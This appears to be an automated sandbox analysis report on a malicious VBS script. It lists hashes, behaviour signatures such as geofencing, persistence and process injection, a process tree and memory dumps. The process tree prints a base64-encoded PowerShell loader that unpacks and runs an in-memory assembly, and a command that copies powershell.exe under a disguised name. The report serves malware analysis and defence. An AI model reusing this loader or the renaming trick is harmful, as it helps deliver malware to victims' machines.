Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/09/2024, 11:53

General

  • Target

    870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs

  • Size

    2.4MB

  • MD5

    bd7a77c470549aad52435b8b7b785c36

  • SHA1

    b18ff781161ff4c4bb3e91825053bed3d280ed20

  • SHA256

    870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371

  • SHA512

    7217805ec612b984672c4cd498b0cc3d8e9cc463fab70bef0fdd96276f1fe93425e03777999c266a876161444699bb09738d2b19154b378316af6118cc48445a

  • SSDEEP

    49152:xBy7kDIlpNx0KQTuJlDl7QVqXhmfOUJ3bapil:a1o

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3548
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe
          "C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe" -enc JABDAGoAbgB4AHYAeABrAGUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABPAHQAcgBnAGYAagBkACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAQwBqAG4AeAB2AHgAawBlAG0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQBzAGwAeQByAGkAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABPAHQAcgBnAGYAagBkAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABJAGQAegByAGsAZQB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHMAbAB5AHIAaQBvACAAKQA7ACQAUAB6AHIAagBnAG0AegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwBiAHkAaABnAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASQBkAHoAcgBrAGUAeQAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUwBiAHkAaABnAHMALgBDAG8AcAB5AFQAbwAoACAAJABQAHoAcgBqAGcAbQB6ACAAKQA7ACQAUwBiAHkAaABnAHMALgBDAGwAbwBzAGUAKAApADsAJABJAGQAegByAGsAZQB5AC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAVQBzAGwAeQByAGkAbwAgAD0AIAAkAFAAegByAGoAZwBtAHoALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFUAcwBsAHkAcgBpAG8AKQA7ACAAJABMAHgAZQBzAG4AaQB2AGMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAFUAcwBsAHkAcgBpAG8AKQA7ACAAJABDAGMAdABqAG4AawBjAHoAIAA9ACAAJABMAHgAZQBzAG4AaQB2AGMAaAAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEMAYwB0AGoAbgBrAGMAegAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQAQwBjAHQAagBuAGsAYwB6AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2028
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2168
    • C:\Windows\system32\cmd.exe
      cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe" /Y
      1⤵
      • Process spawned unexpected child process
      PID:2592

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\rmcs\logs24.dat

      Filesize

      144B

      MD5

      90275db9e496b3f36153d0be0d66d7c4

      SHA1

      6cf1dc1d7737b742f7ec166654e20e8df6b65b3c

      SHA256

      e59b43a5b37c884fc546d5629003f26e96213b1cb4061882e8425272d18827a5

      SHA512

      6f70f7101307acfe1a6476ec235e78804bd102debc59d2ddc3bbbec1a289e8ed061086d804a3194e026be5f91a212900bd7511f91091322a5de14db62bdb6543

    • C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe

      Filesize

      423KB

      MD5

      c32ca4acfcc635ec1ea6ed8a34df5fac

      SHA1

      f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

      SHA256

      73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

      SHA512

      6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1dmiiye.xrw.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2028-4-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

      Filesize

      4KB

    • memory/2028-5-0x0000000003350000-0x0000000003386000-memory.dmp

      Filesize

      216KB

    • memory/2028-7-0x0000000005B10000-0x0000000006138000-memory.dmp

      Filesize

      6.2MB

    • memory/2028-6-0x0000000074CA0000-0x0000000075450000-memory.dmp

      Filesize

      7.7MB

    • memory/2028-8-0x0000000074CA0000-0x0000000075450000-memory.dmp

      Filesize

      7.7MB

    • memory/2028-9-0x0000000005930000-0x0000000005952000-memory.dmp

      Filesize

      136KB

    • memory/2028-10-0x00000000059D0000-0x0000000005A36000-memory.dmp

      Filesize

      408KB

    • memory/2028-11-0x0000000006140000-0x00000000061A6000-memory.dmp

      Filesize

      408KB

    • memory/2028-21-0x00000000061B0000-0x0000000006504000-memory.dmp

      Filesize

      3.3MB

    • memory/2028-22-0x0000000006910000-0x000000000692E000-memory.dmp

      Filesize

      120KB

    • memory/2028-23-0x0000000006940000-0x000000000698C000-memory.dmp

      Filesize

      304KB

    • memory/2028-24-0x0000000007AD0000-0x0000000007B66000-memory.dmp

      Filesize

      600KB

    • memory/2028-25-0x0000000006E40000-0x0000000006E5A000-memory.dmp

      Filesize

      104KB

    • memory/2028-26-0x0000000006E90000-0x0000000006EB2000-memory.dmp

      Filesize

      136KB

    • memory/2028-27-0x0000000008120000-0x00000000086C4000-memory.dmp

      Filesize

      5.6MB

    • memory/2028-28-0x0000000008D50000-0x00000000093CA000-memory.dmp

      Filesize

      6.5MB

    • memory/2028-29-0x0000000007C30000-0x0000000007D5A000-memory.dmp

      Filesize

      1.2MB

    • memory/2028-30-0x00000000086D0000-0x00000000087EE000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-34-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-44-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-56-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-54-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-52-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-50-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-48-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-46-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-43-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-40-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-38-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-36-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-58-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-32-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-31-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-64-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-80-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-86-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-94-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-92-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-90-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-88-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-84-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-82-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-78-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-76-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-74-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-70-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-68-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-66-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-62-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-72-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-60-0x00000000086D0000-0x00000000087E8000-memory.dmp

      Filesize

      1.1MB

    • memory/2028-1105-0x0000000008050000-0x00000000080E8000-memory.dmp

      Filesize

      608KB

    • memory/2028-1106-0x0000000005640000-0x000000000568C000-memory.dmp

      Filesize

      304KB

    • memory/2028-1111-0x0000000008920000-0x0000000008974000-memory.dmp

      Filesize

      336KB

    • memory/2028-1120-0x0000000074CA0000-0x0000000075450000-memory.dmp

      Filesize

      7.7MB